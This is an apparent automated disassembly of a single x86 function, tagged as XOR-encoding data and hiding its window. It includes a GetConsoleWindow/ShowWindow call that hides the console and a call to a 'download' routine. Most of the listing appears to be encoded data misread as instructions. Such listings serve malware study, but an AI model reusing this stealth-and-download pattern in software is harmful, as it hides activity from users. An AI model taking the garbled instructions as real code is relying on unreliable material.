Function at 0x41be40
Capabilities:
Encode data using xor
Hide graphical window

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
jo 0x41beaf
add byte [ebp + 0x3c], al
pop esi
sub eax, 0x5d342b45
jnp 0x41be83
dec esp
outsb dx, byte [esi]
inc ecx
jo 0x41bebf
add byte [ebp + 0x43], al
pushal
inc eax
dec ebp
pop ecx
inc esi
push ecx
sub dword [edi], esi
sub al, 0x3b
inc ebx
xor eax, 0x60433b25
inc eax
daa
je 0x41bece
aas
and dl, byte [ebp + 0x34]
add byte [0x6466756e], ah
cmp ah, byte [edi]
daa
je 0x41bede
aas
pop edx
pop edx
imul esi, dword [edi], 0x4754484c
inc esi
outsd dx, dword [esi]
jle 0x41be8f
je 0x41bef7
xor byte [edx + 0x5a], dh
pop edx
imul esi, dword [edi], 0x5e4f7d79
sub dword [esi + 0x3d], edi
aaa
add byte [ebp + 0x27], dl
inc edi
pop ebp
jle 0x41bf04
sub bh, byte [ecx + 0x7d]
dec edi
pop esi
pop ecx
inc ecx
popal
add byte [esi], dh
push eax
push eax
pop ecx
and dword [ecx + 0x42], ebp
add byte ds:[esi + 0x45], bl
aaa
add byte [ecx + 0x41], bl
popal
add byte [ebp + 0x52], ch
insd dword es:[edi], dx
push edx
cmp eax, 0x2341686f
pop ecx
and dword [edx], esi
pop edx
and al, 0x66
push esi
inc esi
insd dword es:[edi], dx
push edx
cmp eax, 0x3f555b6f
inc edi
add byte [esi + 0x46], al
insd dword es:[edi], dx
cmp al, byte [eax]
cmp al, byte [eax]
sub dword [ebx + 0x73], ebp
and ebx, dword [ebx + 0x55]
add byte [ecx], ch
imul esi, dword [ebx + 0x23], 0x5b
push ebp
aas
inc edi
das
cmp al, 0x77
pop esp
and edi, dword [ecx + 0x58]
cmp dword [ebx], edi
xor al, 0x5b
add byte [esi], al
add byte [ebx + 0x2f], ch
das
cmp al, 0x77
pop esp
xor bl, byte [esi + 0x33]
dec edi
outsw dx, word ds:[esi]
jb 0x41bf5f
pop edx
imul ebp, dword [ecx + 0x21], 0x3255343c
pop esi
xor ecx, dword [edi]
sub ah, byte [ecx + ebp*2]
cmp cl, byte [esi + ebp + 0x78]
xor esi, dword [edi]
add byte [ebp + 0x7c], ah
daa
inc ebp
push eax
add byte [edx], ch
and al, 0x69
cmp byte [eax], dh
sub eax, 0x772e386f
cmp eax, 0x2a4a3d39
xor esi, dword [edi + 0x7c]
dec esi
cmp byte [eax], dh
sub eax, 0x2e247c6f
aaa
jns 0x41bf93
inc esp
xor al, 0x43
jbe 0x41bf9c
and dword [edx + 0x21], edx
push 0x75
jl 0x41bf6d
aaa
dec ebp
inc eax
push 0x32
cmp al, 0x42
xor eax, 0x4a394068
pop ecx
dec ecx
dec ebp
inc eax
push 0x68
push edi
and eax, 0x44633135
outsd dx, dword [esi]
push edi
push 0x31352557
arpl word [edi + ebp*2 + 0x57], ax
xor eax, 0x696d2d
push edx
jae 0x41bfd8
push edi
and eax, 0x40597735
cmp dword [ebp + 0x42], eax
jl 0x41bff9
and ah, byte [eax + 0x35]
cmp esi, dword [esi]
dec edi
xor al, 0
ja 0x41bfde
inc eax
cmp dword [ecx + 0x77], ebx
add byte [edx], ah
jge 0x41bf8d
inc edi
jns 0x41bfe8
dec ecx
pop ebx
pop edi
sub ebp, dword [esi + esi + 0x7c]
pop ecx
ja 0x41bf9a
and al, byte [eax]
dec edx
xor dh, byte [ecx]
push eax
add byte [ebx + 0x6d], ah
imul esp, dword [ecx + 0x7b], 0x5b37
add byte [edx + 0x32], cl
xor al, 0
pop ecx
and edx, dword [ebp + 0x62]
inc ebx
and ch, byte [ebx + 0x49]
push ebp
add byte [esp + ebp*2 + 0x7d], ch
sub al, 0x39
add byte [ecx + 0x23], bl
push ebp
outsb dx, byte ss:[esi]
outsd dx, dword [esi]
and al, 0
pop eax
inc edx
sub al, 0x65
add byte [eax], dh
inc eax
das
insb byte es:[edi], dx
inc edx
push eax
outsb dx, byte ss:[esi]
outsd dx, dword [esi]
and al, 0x2b
sub eax, 0x37343d66
ja 0x41c03d
pop esi
push edx
pop esi
push ebp
add byte cs:[edi], bh
inc ecx
insd dword es:[edi], dx
sub ebp, dword [0x52693d66]
sub eax, 0x52693d66
pop esp
add byte [ecx + 0x42], cl
dec esi
sub al, 0x5e
jb 0x41c058
ja 0x41c01a
push eax
das
imul edx, dword [edx + 0x5c], 0x7a3a3c00
pop cx
inc ebp
add byte [eax + 0x73], ch
push esi
jle 0x41c00b
sub byte [esi + 0x58], al
inc ebx
cmp al, 0x3a
jp 0x41c079
jno 0x41c07a
add byte [eax], al
push ecx
jnp 0x41c098
pushal
insd dword es:[edi], dx
dec ebx
jle 0x41c068
dec ebp
cmp dl, byte es:[edi + 0x71]
add byte gs:[eax], al
push ebp
popal
xor edi, dword [esi + 0x58]
dec esp
jns 0x41c05d
outsd dx, dword [esi]
and ch, byte [esi*2 + 0x642b2171]
push ebp
popal
xor edi, dword [esi + 0x44]
add byte [ecx + ebp], bh
cmp al, 0x29
jl 0x41c071
dec esp
pop ebp
cmp dword [ecx], ebp
inc edx
push esi
ja 0x41c049
jge 0x41c04b
inc esp
add byte [ecx + ebp], bh
imul ecx, dword [ecx + 0x7e], 0x29282c3a
xor ch, byte [eax + 0x2a]
sub edi, dword [esi]
sub ch, byte [ebx]
jle 0x41c05c
xor esp, dword [esi + 0x4f]
dec di
imul ecx, dword [ecx + 0x7e], 0x6b00763a
sub al, byte [eax]
aas
xor eax, 0x4f257030
dec esi
pop edx
push edi
pop eax
pop esi
jbe 0x41c075
imul ebp, dword [edx], 0x5e
push eax
jnp 0x41c0ec
jnp 0x41c0ec
aaa
pop esp
add byte [edi + 0x5b], dh
pop esp
add byte [eax + 0x22], bh
push edi
dec esp
pop esi
push eax
jnp 0x41c0d1
dec ebx
inc esp
jae 0x41c0f1
jae 0x41c104
pop ebx
jle 0x41c0fa
outsd dx, dword ss:[esi]
and eax, 0x4b453f71
inc esp
jae 0x41c0d5
jl 0x41c0ef
jnp 0x41c102
sub ch, byte [esi + 0x63]
cmp eax, 0x45743355
jbe 0x41c124
push ecx
xor eax, 0x3b7b4d7c
push ecx
inc ebx
xor al, 0x54
jp 0x41c11b
dec ecx
cmp esp, dword [0x2a594768]
and dl, byte [ebx + edi + 0x51]
inc ebx
xor al, 0x58
dec ebp
pop edx
add byte [bp + di], bh
dec esi
jnp 0x41c130
inc ebx
dec edx
inc eax
inc ecx
pop esi
aaa
pop eax
dec ebp
pop edx
jne 0x41c106
inc ebp
dec edi
push ecx
and eax, 0x5e3d6d38
xor dh, byte [ebx + 0x40]
jne 0x41c110
jb 0x41c161
sub dword [ebp + 0x4f], eax
jns 0x41c120
inc ebp
and al, 0x60
inc ebp
xor al, 0x49
add byte [eax], al
xor eax, 0x5c214d65
inc esp
jns 0x41c130
dec ebp
and dword [esp + eax*2 + 0x79], ebx
das
inc ebp
and al, 0x62
push ebx
bound esp, qword gs:[0x345a6a4a]
bound esp, qword [0x345a6a4a]
push esp
dec ebx
jbe 0x41c15c
js 0x41c112
sub ah, byte [edx + 0x53]
bound esi, qword gs:[eax + 0x35]
je 0x41c14f
add byte [ebp + 0x2e], ch
jo 0x41c186
je 0x41c197
je 0x41c197
cmp esp, dword [edi]
daa
cmp dword [eax + 0x70], edx
xor eax, 0x23543474
dec eax
sub dword [eax + 0x6e], eax
outsb dx, byte [esi]
push eax
cmp esi, dword [ecx]
dec ebx
add byte [edi], ch
dec eax
jno 0x41c179
cmp dword [ebx + 0x48], edx
sub dword [ebx + 0x4f], edx
push ecx
sub dl, byte [ecx + 0x7a]
cmp dword [ebp + 0x29], edx
pushal
xor dword ds:[ecx + 0x48], edi
dec edx
dec ebx
push ebx
dec edi
push ecx
sub ah, byte [edi]
sub al, 0x6b
inc ecx
jno 0x41c1ac
arpl word [eax], ax
dec esp
dec ebx
outsb dx, byte [esi]
add byte [edi], bh
push eax
ja 0x41c18b
sub al, 0x6b
inc ecx
xor edi, dword [ecx]
cmp eax, 0x45765f3b
pop ebp
and dword [ebx + 0x2d], esi
add byte [edi + 0x5b], cl
cmp eax, 0x3d39332b
cmp ebx, dword [ebx + 0x21]
outsd dx, dword [esi]
cmp eax, 0x6f215b3b
ja 0x41c1e3
add byte [ebx + 0x45], al
dec edx
pop esi
jbe 0x41c1e0
pop ecx
inc eax
dec edi
and bl, byte [ebx + 0x21]
outsd dx, dword [esi]
ja 0x41c1cd
pop ebx
and dword [edi + 0x77], ebp
cmp eax, 0x677e7277
ja 0x41c204
jle 0x41c1fb
dec ebx
cmp esp, dword [0x5d6b5b42]
and eax, 0x5d6b5b42
insb byte es:[edi], dx
dec eax
cmp bh, byte [0x757e7277]
xor ebx, dword [edx + 0x74]
outsd dx, dword [esi]
and dword [eax + 0x66], esp
jne 0x41c1d4
daa
and dword [ecx + 0x3e], ebx
pop ebx
dec esi
jne 0x41c1e8
pop edx
je 0x41c232
ja 0x41c21b
je 0x41c1bc
add byte gs:[eax], dh
pop eax
insb byte es:[edi], dx
add byte [esp + ebx*2 + 0x30], ch
add byte [edx + 0x77], bh
popal
je 0x41c230
dec edx
insd dword es:[edi], dx
pop esp
jns 0x41c216
jbe 0x41c20d
push bp
push ebp
jb 0x41c23a
and eax, 0x64696429
dec edx
insd dword es:[edi], dx
pop esp
and dword [ebx + edi*2 + 0x36], ebx
pop esp
jnp 0x41c219
jge 0x41c20b
sub ebx, dword [ecx + 0x44]
xor cl, byte [eax + eax + 0x38]
inc esp
sub bl, byte [ebx + 0x21]
pop esp
jnp 0x41c229
and bl, byte [edx + 0x56]
add byte [esi], ah
add byte [edi + 0x4b], ah
add byte [esi], bl
and esi, dword [edx]
imul ecx, dword gs:[ebp + 0x22], 0x6300565a
add byte [edi + 0x64], cl
pop edx
push esi
add byte [ebx], ah
dec edi
push esi
push esi
xor eax, dword [ecx + 0x34]
push ecx
inc ecx
xor al, 0x51
imul esp, dword [0x2f435128], 0x4f00635e
pop esi
arpl word [eax], ax
dec edi
pop edi
pop edi
pop eax
sub eax, 0x5841744d
add byte [edx + 0x45], ch
arpl word [esi + 0x3b], sp
js 0x41c266
cmp al, 0x74
pop edi
je 0x41c28b
pop eax
sub eax, 0x5415ff4d
adc eax, sym.imp.KERNEL32.dll_GetConsoleWindow
xor al, byte [ebx]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_ShowWindow]
sub esp, 8
inc esp
push esi
add byte [eax], al
add byte [ecx + 0x15ff2404], cl
loopne 0x41c277
inc ebx
add byte [ebx + 0x564408ec], al
aas
dec eax
and edi, dword [esi]
js 0x41c282
pop edi
add byte [ebx], dh
pop ebp
dec ecx
js 0x41c29c
dec ecx
inc esp
push esi
aas
dec eax
je 0x41c2ac
inc ebx
xor al, 0
add byte [ebp + 0x32], ch
pop ecx
sub al, byte es:[bx + si]
pop eax
push ebx
je 0x41c2bc
inc ebx
insd dword es:[edi], dx
das
jne 0x41c275
sub cl, byte [ecx + 0x6e]
outsb dx, byte [esi]
jl 0x41c2c9
add byte ds:[eax + 0x6d], ah
push 0x2f6d006a
das
jne 0x41c285
inc edx
pop ebx
inc edx
add byte [ebx + ebx*2 + 0x42], dh
inc edx
and edx, dword [ebx + 0x57]
cmp eax, 0x225c625f
insd dword es:[edi], dx
inc edx
pop ebx
inc edx
add byte [eax + ebp + 0x36], dl
insd dword es:[edi], dx
push ebx
and ch, byte [edi + 0x52]
add byte ss:[edi + 0x59], dh
jns 0x41c2ee
xor eax, dword [edi + 0x54]
sub byte [esi], dh
insd dword es:[edi], dx
add byte [ebp + 0x41], bl
xor eax, dword [ebp + 0x42]
imul edx, dword [edi + 0x66], 0x68656c39
and dword [edx], ebp
add byte [ebp + 0x41], bl
add byte [eax], al
pop ebp
inc ecx
xor ecx, dword [ebx + 0x73]
pop eax
push 0x555b7147
dec eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [edi + 0x4e], ah
daa
dec ebx
jae 0x41c32c
push 0x7c004f
push ebx
aaa
push esi
pop ebx
cmp bh, byte [ecx + esi + 0x67]
add byte [si], bh
arpl word [edi], cx
jl 0x41c2e9
pop edi
aaa
pop ecx
cmp dword [eax], eax
jnp 0x41c322
add byte [0x6d2a63], dh
das
dec esp
sub dword [edi + 0x37], ebx
pop ecx
cmp dword [edx + ebp + 0x5e], eax
push edi
dec ebx
pop edx
inc esp
aaa
add byte [ebp + 0x53], bh
imul edi, dword [edx + 0x6c], 0
pop eax
inc esp
sub bl, byte [esi + 0x57]
js 0x41c383
push ebx
aas
jbe 0x41c392
xor al, 0x61
push eax
outsb dx, byte [esi]
inc edi
dec ebx
cmp byte [edi], dh
and ah, byte [edx]
js 0x41c393
jo 0x41c377
push ebx
aas
jo 0x41c39d
cmp eax, 0x3e270000
add byte [ebx + 0x40], dl
dec ebx
sub byte [edx + 0x46], bl
inc ecx
imul esi, dword [eax + 0x76], 0x637d003d
jo 0x41c37e
arpl word [esi + 0x60], bp
dec esp
jbe 0x41c397
pop ebp
push ebp
inc ebp
dec esi
push eax
dec ebx
jge 0x41c3ae
jo 0x41c38e
dec esi
insd dword es:[edi], dx
add byte [edx + 0x59], ch
push esp
jno 0x41c395
popal
xor eax, 0x586c3f
add byte [ebp + 0x4e], cl
insd dword es:[edi], dx
add byte [edx + 0x40], ch
dec ebx
xor al, 0x37
add byte [ecx], ah
jnp 0x41c3e2
xor eax, 0x54342c23
sub byte [ebx + 0x40], ah
dec ebx
xor al, 0x37
xor al, 0x5f
pop edx
pop eax
sub al, 0x54
je 0x41c3e6
push ecx
insb byte es:[edi], dx
daa
push ecx
cmp ebx, dword [esi + 0x47]
inc edi
insb byte es:[edi], dx
xor al, 0x5f
pop edx
pop eax
inc edi
push esi
xor dword [ebp + 0x64], ebp
add byte [ecx], ch
push edx
inc esp
dec edi
push esi
jbe 0x41c404
outsb dx, byte [esi]
cmp esp, dword [bx + 0x47]
cmp esp, dword [edi + 0x47]
push esi
xor dword [ebp + 0x4b], ebp
dec ebx
dec esi
and bh, byte [ecx]
jns 0x41c3a4
cmp esi, dword [esi]
jp 0x41c3a9
cmp dword [ebx + 0x56], eax
inc esi
dec ebx
dec esi
and bh, byte [ecx + 0x3b]
outsb dx, byte [esi]
xor al, 0x24
sub byte [esi + 0x44], ah
add byte [edi], bh
aaa
inc eax
pop eax
xor byte [ebp + 0x69], bl
cmp ebp, dword [esi + 0x34]
and al, 0x6b
inc eax
jle 0x41c43a
xor al, byte [esi + 0x64]
add byte [edi + 0x76], dh
and dword [edi + 0x77], eax
push esi
popal
imul eax, dword [eax + 0x7e], 0x71
inc ebx
add byte [edx], dh
cmp ebp, dword [ebp]
and dh, byte [ecx]
and al, 0x38
push edx
cmp byte [esi], dh
push edx
dec ecx
pop eax
xor dword [esi + 0x43], edi
add byte [edx], dh
cmp eax, dword [eax]
push ebx
sub byte es:[ebx + 0x67], dh
add byte [edx], ch
pop ecx
add byte [edi], al
and al, 0
xor dword [eax], eax
push ebx
sub byte es:[eax], al
add byte [edi + ecx*2 + 0x43], bl
dec edi
inc ebx
inc edx
push ebp
and cl, byte [ebp + 0x57]
pop edx
pushal
imul esi, dword [esp + edi], 0
pop esp
dec edi
add byte [esi], ah
dec ebx
das
pushal
jns 0x41c46c
and edi, dword [edi]
push 0x2f6d2d2b
jno 0x41c46c
add byte [esi], ah
dec ebx
das
pop ebp
pop esp
cmp ax, 0x403c
jle 0x41c481
jbe 0x41c477
insd dword es:[edi], dx
pop edi
add byte [esi + 0x6c], dh
and bl, byte [ebp + 0x5c]
pop esp
cmp ax, 0x6761
jb 0x41c441
pop esi
push 0x3e39
pop ebx
imul esp, dword ss:[eax + ebp + 0x77], 0x46
popal
jb 0x41c451
insb byte es:[edi], dx
jo 0x41c476
pop eax
pop ebp
jae 0x41c458
outsd dx, dword [esi]
xor eax, 0x3550
jb 0x41c4d9
jno 0x41c4ce
jo 0x41c486
pop eax
add byte [eax + 0x27], bl
jae 0x41c4be
xor dl, byte [edx + edi*2 + 0x3c]
jp 0x41c4aa
push esp
inc ecx
pop ebp
and ebx, dword [ecx + 0x41]
jne 0x41c476
pop eax
daa
jae 0x41c4b4
cmp esi, dword [edx + 0x3b]
imul ebp, dword [esi], 0x3c
xor al, 0x45
inc ebp
inc esi
cmp eax, 0x58332e
xor ebx, dword [eax]
cmp bh, byte [ebx]
jb 0x41c4c8
add byte [esi], dh
dec ecx
add byte [ecx], bl
xor al, 0x78
cmp ebp, dword [edx]
dec esi
push esi
dec edx
and al, 0x76
add byte [esi], dh
dec ecx
add byte [ecx + 0x76], bl
dec ebx
xor al, 0x52
pop esi
and eax, dword [eax]
pop eax
push ecx
and eax, 0x7e652b43
pop ecx
jbe 0x41c4ff
xor al, 0x3a
and al, 0x73
dec eax
outsb dx, byte [esi]
pop ecx
cmp al, 0x75
and ah, byte [edx]
add byte [ebx + 0x74], bl
sub al, 0x63
push edi
cmp ah, byte [ebx + esi*2]
and al, byte [eax]
pop ebx
je 0x41c4ef
arpl word [edi + 0x3a], dx
and al, 0x73
dec eax
cmp al, 0x3e
add byte [edx + 0x62], bl
add byte [esi + 0x71], bl
add byte [ebp], cl
push ebx
push edx
popal
add byte [esi + edi], bh
cmp al, 0x3e
add byte [edx + 0x4a], bl
pop ebx
jnp 0x41c547
xor edi, dword [edi]
add byte [eax + 0x64], dl
aas
dec ebp
pop edx
outsd dx, dword [esi]
dec ebp
and ebp, dword [ebx]
dec edx
pop ebx
jnp 0x41c557
dec esp
xor al, byte [esi + eax*2 + 0x62]
pop edi
insb byte es:[edi], dx
jae 0x41c556
pop ebx
pop eax
popal
add byte [ebp + 0x2d], al
push esp
dec esp
xor al, byte [esi + eax*2 + 0x56]
sub eax, 0x44324c54
inc esi
push esi
pop esi
dec edx
pop edi
jnp 0x41c50b
inc edx
and dword [ebx + 0x7d], ecx
aas
jle 0x41c57d
add byte [edx + 0x56], bh
pop esi
dec edx
pop edi
inc edi
imul ebx, dword [ebp + 0x36], 0x224c00
dec ebx
add byte [eax], ch
sub dword [ebx], esp
and edi, dword [ebx + 0x50]
inc edi
imul ebx, dword [ebp + 0x36], 0x4b35002d
push esp
xor dword [esi], esi
jno 0x41c563
bound esi, qword [ebx]
and dword [eax], eax
add byte [eax], dh
sub eax, 0x5c4b3500
pop eax
jb 0x41c58a
je 0x41c5a7
inc ebx
jge 0x41c54a
jbe 0x41c5b9
add byte [ebx + 0x79], al
add byte [edi + 0x5c], bl
pop eax
jb 0x41c59a
popal
jle 0x41c5a3
jle 0x41c5a3
push ebx
insb byte es:[edi], dx
dec ebp
jle 0x41c5af
inc esi
pop esp
cmp dword [ebp + 0x48], ebp
push ecx
xor byte [ecx + 0x66], ah
jle 0x41c5b3
jbe 0x41c56b
das
push 0x41
add byte es:[esi + 0x40], dh
outsb dx, byte [esi]
insd dword es:[edi], dx
jae 0x41c5d3
add byte [esi + 0x76], ah
add byte [edi], ch
push 0x38
jns 0x41c5be
cmp byte [ecx + 0x3e], bh
dec edx
add byte [eax], ch
push edi
jb 0x41c5b9
sub ah, byte [edx]
jb 0x41c608
insb byte es:[edi], dx
dec edi
cmp byte [ecx + 0x3e], bh
dec edx
sub dh, byte [ebx]
xor ah, byte [0x453e3975]
arpl word [eax + 0x75], bp
jno 0x41c5ed
push 0x4e713e75
cmp al, 0x55
sub dh, byte [ebx]
xor ah, byte [0x6174365d]
je 0x41c60a
and esp, dword [ebx + 0x7c]
cmp esi, dword [eax + 0x4f]
jo 0x41c60c
cmp dword [edx + 0x35], esp
inc esp
pop ebp
je 0x41c61a
xor eax, 0x74365d44
popal
pop esp
arpl word [esp + ebx*2], di
and edx, dword [edx + 0x2b]
das
push edx
sub ebp, dword [edi]
and eax, 0x7700563a
dec esi
add byte [esi + 0x5c], dh
arpl word [esp + ebx*2], di
jb 0x41c612
outsd dx, dword [esi]
add byte [eax], al
push 0x74
inc esp
je 0x41c619
pop esp
cmp bh, byte cs:[0x232d6b45]
jb 0x41c622
outsd dx, dword [esi]
add byte [ebx], ch
inc edi
xor al, 0x72
sub al, 0x79
and dword [edi], esi
jbe 0x41c622
xor esi, dword [ecx + ecx*2]
sub eax, dword [edi + 0x34]
jb 0x41c648
sub byte [eax + 0x4a], dl
pop edx
xor ax, word [esi + 0x5a]
xor al, 0x49
dec ebx
cmp eax, 0x28524549
push eax
dec edx
add byte [edx], ch
add byte [edx + 0x62], bh
sub al, byte [eax]
jp 0x41c670
jp 0x41c64f
xor al, 0x25
aaa
sub byte [eax], al
inc ebp
cmp byte ds:[eax], al
add byte [edx], ch
add byte [edx], bh
sub al, byte [eax]
jp 0x41c61e
and ebp, dword [ecx + 0x52]
push 0x424f2f6c
insb byte es:[edi], dx
das
dec edi
inc edx
inc esp
dec ecx
inc eax
aaa
and eax, 0x23005d6c
imul edx, dword [edx - 0x73], 0x891c2444
inc esp
and al, 4
mov eax, dword [section.download_1]
mov dword [esp], eax
call section.download
test eax, eax
je 0x41ce69
mov ebx, eax
inc edx
pop ecx
xor dh, byte [ecx + 0x5f]
add byte ds:[esi + 0x4b], ah
pushal
outsd dx, dword [esi]
aaa
jle 0x41c685
ret
add byte [edi], ch
inc edx
pop ecx
xor dh, byte [ecx + 0x72]
popal
pushal
xor al, 0x31
cmp dword [bp + di], ebp
jnp 0x41c6c5
je 0x41c6da
imul ebp, dword [ecx*2 + 0x60617225], 0x52255234
push esp
xor al, 0x2f
sub al, 0x4d
and eax, 0x34606172
push edx
and eax, 0x2f345452
sub eax, 0x6d74005a
cmp byte [edx], ah
je 0x41c6f5
dec ecx
push edx
and eax, 0x23635452
pop esp
add byte [eax], ch
push esi
cmp eax, 0x29655828
jne 0x41c705
add byte ds:[ebx + 0x23], ah
pop esp
add byte [eax + eax], ah
jge 0x41c6a4
jns 0x41c700
cmp dword ss:[eax + 0x58], edx
pop esi
add byte [ecx + 0x38], bl
cmp eax, dword [ecx + 0x24]
add byte [ebp], bh
inc ecx
add byte [ebp + 0x5e], dh
jge 0x41c71b
imul ecx, dword [eax + 0x2a], 0x4b6a7a5b
and eax, 0x414b2d
jne 0x41c726
add byte [ebp + 0x5e], dh
inc ebp
push 0x28310073
push ecx
add byte [ebp], dh
xor byte [edi + 0x67], al
push 0x6845003b
jae 0x41c6dc
push ebx
pop ecx
push ebx
jo 0x41c6e2
dec edi
jl 0x41c73a
ja 0x41c714
and eax, 0x232b7700
push ebx
pop ecx
push ebx
xor edi, dword [esp + ecx*2 + 0x35]
jbe 0x41c73c
jbe 0x41c73c
jnp 0x41c750
aas
add byte [edx + 0x75], ch
inc esp
pop eax
xor edi, dword es:[esp + ecx*2 + 0x35]
xor edi, dword [esp + ecx*2 + 0x35]
pop esi
imul ebp, dword [edi + ecx*2], 0
cmp bl, byte [ecx + 0x71]
pop edi
sub ebp, dword [ecx + 0x23]
inc ecx
jb 0x41c76e
dec edi
pop esi
imul ebp, dword [edi + ecx*2], 0x28
sub al, 0x27
dec eax
outsb dx, byte [esi]
popal
cmp al, 0x4a
add byte [ebx], dh
and edx, dword [edx + 0x28]
sub al, 0x27
pop eax
add byte [edx], bh
bound edi, qword [ecx + 0x23]
cmp dword [esi + 0x4f], edx
push ecx
jb 0x41c75c
das
jl 0x41c762
pop eax
add byte [edx], bh
cmp dword [ebp + 0x4b], esp
jae 0x41c7b4
ja 0x41c77d
inc esp
pushal
aas
jne 0x41c7bd
pop edx
add byte cs:[ecx], bh
dec ebx
cmp dword [ebp + 0x4b], esp
jae 0x41c783
pop esi
cmp byte [eax], al
inc ebx
push edi
jnp 0x41c789
inc ecx
pop ebx
push edx
push eax
insd dword es:[edi], dx
sub byte [ebp + 0x2e], al
pop esi
cmp byte [eax], al
dec eax
arpl word [esi + eax*2 + 0x3b], si
add byte [eax], al
ja 0x41c79a
add byte [edi + 0x29], dh
push eax
pushal
jno 0x41c7b5
popal
jp 0x41c7d1
dec eax
arpl word [esi + eax*2 + 0x25], si
add byte [eax], al
jbe 0x41c781
jp 0x41c7e3
jbe 0x41c802
inc edx
js 0x41c7a9
push ecx
dec edx
push eax
and esp, dword [0x31760000]
dec edx
push edx
cmp eax, 0x6b2e2d33
cmp al, 0x74
xor al, 0x44
sub esi, dword [edx]
outsd dx, dword [esi]
pop ebx
xor dword [edx + 0x52], ecx
cmp eax, 0x676b43
bound edi, qword [edi]
aas
arpl word [edi], di
inc edx
popal
pop bp
push ebp
push eax
xor esi, dword [ecx + 0x43]
inc ebx
imul esp, dword [edi], 0x44
pop ebx
outsd dx, dword es:[esi]
cmp dword [edi + 0x4a], ebp
push esp
push eax
jle 0x41c817
add byte [eax], ch
sub eax, dword [ebx + ebx*2 + 0x64]
popal
push edi
add byte [esi], dh
xor al, 0x4d
dec ebp
inc esp
pop eax
inc edi
pushal
insb byte es:[edi], dx
push eax
add byte [edx], dh
popal
push edi
add byte [esi], dh
jno 0x41c823
add byte [ebx + 0x25], al
outsb dx, byte [esi]
dec eax
daa
xor ch, byte [esi + 0x60]
inc ebx
and eax, 0x3227486e
outsb dx, byte [esi]
pushal
aaa
push ebx
push edx
jbe 0x41c7f0
jno 0x41c833
add byte [ebx], al
dec ebx
jbe 0x41c827
push ebp
xor byte gs:[eax], ch
insd dword es:[edi], dx
jle 0x41c871
and esi, dword [ebx]
pop eax
add byte [ebx + 0x76], cl
das
add byte [eax], bl
dec ebx
jbe 0x41c837
add byte [ecx], ah
inc edx
and dword [esi + esi*2], esi
push esp
cmp ah, byte [edx]
das
pop ebp
sub al, 0x59
and dword [ecx], ecx
and dword [edx + 0x21], eax
add byte [ebp + 0x36], ch
dec eax
dec ecx
add byte [ecx], ah
inc edx
and dword [eax], eax
insd dword es:[edi], dx
dec eax
inc ebp
dec esi
sub ch, byte [edx + edi*2 + 0x45]
insb byte es:[edi], dx
jp 0x41c86b
and dword [ebx], esp
inc esi
sub eax, 0x6d00254b
dec eax
and eax, dword [esi + 0x2d]
dec ebx
and eax, 0x48366d00
das
jbe 0x41c85f
dec edi
bound ebp, qword [ecx]
add byte [ebp + 0x25], ah
dec edx
sub ecx, dword [edi + 0x2f]
and eax, 0x2f4f2b4a
add byte [ecx + 0x77], dh
das
jbe 0x41c86f
dec edi
dec edx
add byte [ebp + 0x32], dh
js 0x41c87c
sub dword [edx + 0x7b], ebp
dec ecx
imul edi, dword [eax + ebx*2 + 0x67], 0x4a6877
jne 0x41c88a
dec ebp
xor esi, dword [ecx + 0x4b]
add byte [0x23794471], ah
inc esp
jns 0x41c885
push 0x31
sub eax, 0x4d543328
xor esi, dword [ecx + 0x4b]
dec ebx
inc eax
dec ecx
sub al, 0x27
daa
dec edx
and dword [edi + 0x39], eax
inc ebx
sub al, byte [eax + 0x44]
dec esi
cmp eax, 0x4940302d
inc eax
dec ecx
sub al, 0x27
pop ebp
cmp esp, dword [ebx + 0x4d]
push esp
xor ch, byte [0x4265]
xor dword [eax], edi
jo 0x41c8d6
add byte [ecx], dh
cmp byte [eax + 0x47], dh
sub al, 0x5d
cmp esp, dword [ebx + 0x4d]
outsd dx, dword [esi]
sub eax, 0x583d307a
dec ebx
jle 0x41c8e2
and esi, dword [eax]
xor eax, 0x4426796b
outsd dx, dword [esi]
sub eax, 0x6a67307a
push 0x31
and ebp, dword gs:[ecx + 0x51]
jl 0x41c91d
imul edi, dword [eax], 0x5468354b
push 0x6a
xor dword [ecx + 0x5f], ebx
and eax, 0x5c793473
js 0x41c928
xor byte [0x35007439], dh
jno 0x41c926
pop edi
and eax, 0x654c5e73
outsb dx, byte [esi]
aas
jp 0x41c8fa
and ebp, dword [edx]
dec esi
jnp 0x41c913
sub cl, byte [esi + 0x7b]
cmp byte [edx + 0x3d], bh
jp 0x41c91a
dec edi
inc esi
add byte [esi + 0x4c], bl
outsb dx, byte gs:[esi]
push ecx
cmp ch, byte [edi]
je 0x41c8e9
das
cmp dl, byte [edx + 0x24]
and eax, 0x28526f3d
dec esi
pop ebp
push ecx
cmp ch, byte [edi]
je 0x41c961
push ebx
jl 0x41c928
inc eax
inc eax
jbe 0x41c972
jno 0x41c924
inc esi
xor al, 0x6d
pop esi
pop edx
sub dword [eax + 0x53], ebp
jl 0x41c938
dec edi
inc edi
bound eax, qword [eax]
dec esp
cmp eax, 0x5f724600
inc esi
jb 0x41c975
js 0x41c988
push eax
popal
insd dword es:[edi], dx
push esp
dec edi
inc edi
bound eax, qword [eax]
aaa
ja 0x41c949
add byte [ecx + 0x5a], ah
popal
pop edx
js 0x41c959
inc ecx
inc ebp
sub dword [edx + 0x3e], ecx
das
js 0x41c964
aaa
ja 0x41c959
add byte [ecx + 0x47], bl
bound edi, qword [eax]
dec ecx
add byte [eax], ch
jbe 0x41c98b
popal
pop ebx
add byte [ebx + 0x5f], bl
jp 0x41c9a0
pop ecx
inc edi
bound edi, qword [eax]
imul ebp, dword [ebp + 0x58], 0x34
add byte [ecx], dh
push bp
insd dword es:[edi], dx
pop eax
xor al, 0
xor dword [esi + 0x55], esp
push ebx
add byte [edi + 0x72], al
sub dword cs:[eax + eax + 0x6b], esi
insd dword es:[edi], dx
pop eax
xor al, 0x67
push ebp
jge 0x41c99d
das
ja 0x41c963
sub ah, byte cs:[ebx]
sub ah, byte [ebx]
jbe 0x41c9d5
push ecx
bound esi, qword [esi + 0x63]
push ebp
jge 0x41c9ad
add byte [eax], al
sub edi, dword [edi]
jae 0x41c9c0
dec edx
add byte [eax], al
push 0x76
and edi, dword fs:[ebx + eax*2]
push 0
add byte [ebx], ch
aas
dec ebx
jle 0x41c9b7
insb byte es:[edi], dx
jnp 0x41c9c8
push edi
inc ebx
add byte [eax + 0x40], dh
sub bl, byte [edi + 0x2d]
add byte [ecx], bh
dec ebx
jle 0x41c9c7
insb byte es:[edi], dx
